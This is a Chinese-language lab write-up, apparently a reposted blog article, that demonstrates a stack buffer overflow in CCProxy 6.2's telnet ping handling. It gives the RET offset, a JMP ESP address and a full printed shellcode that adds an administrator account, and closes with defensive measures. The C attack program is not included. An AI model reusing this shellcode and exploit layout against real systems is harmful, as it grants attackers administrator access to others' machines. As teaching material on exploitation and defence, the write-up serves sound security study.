缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)
實驗內容:
分析緩沖區溢出漏洞,利用CCProxy 6.2的這個緩沖區溢出漏洞,利用ping命令向其發送一個長的字符串,溢出局部變量,覆蓋RET的位置,從而實現程序跳轉到自己想要讓其執行的程序上去。
?? 定位RET
?? 尋找跳轉指令地址
?? 構造shellcode
?? 定位shellcode存放位置
?? 編寫攻擊程序
實驗環境:
攻擊主機:
系統環境:windows 7 32bit
攻擊程序開發環境:vc++ 6.0
虛擬機:VMware Workstation
目標主機:
系統環境:windows xp sp3 (關閉DEP)
溢出對象:CCProxy6.2
調試工具:CDB
其他工具:ActivePerl
patternCreate.pl
patternOffset.pl
Metasploit
實驗設計:
本實驗的目標主要是分析緩沖區溢出漏洞,利用CCProxy 6.2的這個緩沖區溢出漏洞,利用ping命令向其發送一個長的字符串,溢出局部變量,覆蓋RET的位置,從而實現程序跳轉到自己想要讓其執行的程序上去。
主要試驗流程如下:
詳細過程:
(1)首先,先確定目的主機IP地址以及ccproxy telnet服務的端口。
通過查看,確定目的主機IP地址192.168.220.128,ccproxy telnet使用端口23。
(2)下面分析漏洞:CCProxy在代理Telnet協議時,可以接受Ping命令。Ping命令格式:ping hostname\r\n當hostname的長度大于或者等于1010字節時,CCProxy 6.2會發生緩沖區溢出,導致程序崩潰。
因為windows xp sp3已經有數據緩沖溢出保護機制,所以要進行這個實驗需要手動關閉DEP。運行->c:\boot.ini,打開boot文件進行編輯,將指定位置修改為關閉。
我們在目的主機運行ccproxy,然后嘗試使用telnet連接ccproxy,驗證連通性以及環境配置。
cmd下輸入命令行:telnet 192.168.220.128
ping AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
終端提示“Host not found”,說明CCProxy正確地處理了這個畸形數據,仍工作正常。
當ping AAAA……(2000個A)時,
ccproxy崩潰,提示失去了跟主機的連接,這說明緩沖區溢出,導致崩潰。
我們使用CDB調試,查看詳細信息:
我們發現,緩沖區溢出時,溢出的內容會將RET原來的內容覆蓋(A對應41),這樣當函數返回時,RET的值傳給EIP寄存器(存放下條指令地址),設想,如果我們精心構造一個字符串,將RET用JMP ESP指令地址覆蓋,函數返回時就會轉而執行JMP ESP 指令,這時候我們再將ESP里面放入程序代碼的shellcode,這樣就會執行我們自己編寫的程序,這就形成漏洞攻擊。
于是,我們首先需要定位RET。
(3)定位RET。我們可以構造一串完全不重復的字符串,ping之后溢出,捕獲異常,查看EIP內容,因為字符串不重復,所以EIP內容一定可以對應找到唯一的字符串,這樣就可以計算出EIP內容在字符串中的相對偏移量。
我們通過patternCreate.pl生成2000個完全不重復字符串。
然后將生成的字符串ping給目標主機。CDB捕獲異常,查看EIP
然后通過patternOffset.pl計算出相對偏移量。
也就是說應該將要覆蓋RET對應的字符串放在整個字符串第1012開始的位置。
(4)尋找JMP ESP 指令地址。這里可以選用通用地址:0x7ffa4512。然后在CDB下驗證一下是否正確。
(4)構造shellcode。也就是要構造函數返回時要執行的指令。可以通過metasploit來構造,這里構造一個在目標主機添加管理員賬戶的shellcode:
“\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49”
“\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36”
“\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34”
“\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41”
“\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54”
“\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57”
“\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38”
“\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48”
“\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c”
“\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e”
“\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58”
“\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44”
“\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58”
“\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43”
“\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47”
“\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a”
“\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b”
“\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43”
“\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37”
“\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49”
“\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56”
“\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46”
“\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36”
“\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36”
“\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44”
“\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52”
“\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56”
“\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56”
“\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57”
“\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52”
“\x41\x44\x46\x44\x46\x44\x42\x30\x5a”
(5)下面需要定位shellcode存放位置。像定位RET一樣,ping生成的字符串,CDB捕獲異常。不過這里注意,ESP指向的地址處的內容才是shellcode的內容,所以我們需要根據ESP內容來獲取它指向的地址里面的內容A,然后定位A在字符串里的相對偏移,就是shellcode應該放置的位置。
(6)構造exploit。按照前面計算得出的相對偏移,將JMP ESP指令和shellcode放置在正確位置。
(7)編寫攻擊程序。采用C語言Socket編程,實現向目標主機發送ping字符串,完成攻擊。
代碼如下:
[cpp]?view plaincopy
(8)執行結果。
攻擊執行前,系統只有一個管理員賬戶。
攻擊之后,ccproxy崩潰,并且系統增加了一個管理員賬戶。
實驗結論:
通過了一段時間的努力學習與實踐運用,終于完成了這一次緩沖區溢出漏洞攻擊實驗。
在這次試驗中通過ccproxy漏洞進行攻擊,實現了在目標主機增加一個管理員賬戶。
實驗體會:
通過分析漏洞,也思考了一些漏洞攻擊的防范問題。整個防范措施大概有源碼級保護方法、運行期保護方法、阻止攻擊代碼執行、加強系統保護等幾種。對于源碼保護,可以提高警惕,在編寫程序時對于涉及緩沖區的部分進行嚴格的邊界檢查,防止溢出。也可以利用漏洞掃描工具對源碼中可能存在緩沖區溢出漏洞的代碼部分分析,尋找bug并解決。運行期保護主要研究如何在程序運行的過程中發現或阻止緩沖區溢出攻擊。比如數組邊界檢查,檢查數組實際長度是否超過了分配的長度,如果超過,立即進行相應的處理。阻止攻擊代碼執行,可以設定堆棧數據段不可執行,這樣就可以避免被攻擊。加強系統保護主要是保護系統信息、關閉不需要的服務、最小權限原則、使用系統的堆棧補丁、檢查系統漏洞并及時為軟件打上安全補丁等。
超強干貨來襲 云風專訪:近40年碼齡,通宵達旦的技術人生總結
以上是生活随笔為你收集整理的缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C语言实现缓冲区溢出实例
- 下一篇: 缓冲区溢出漏洞攻击——Shellcode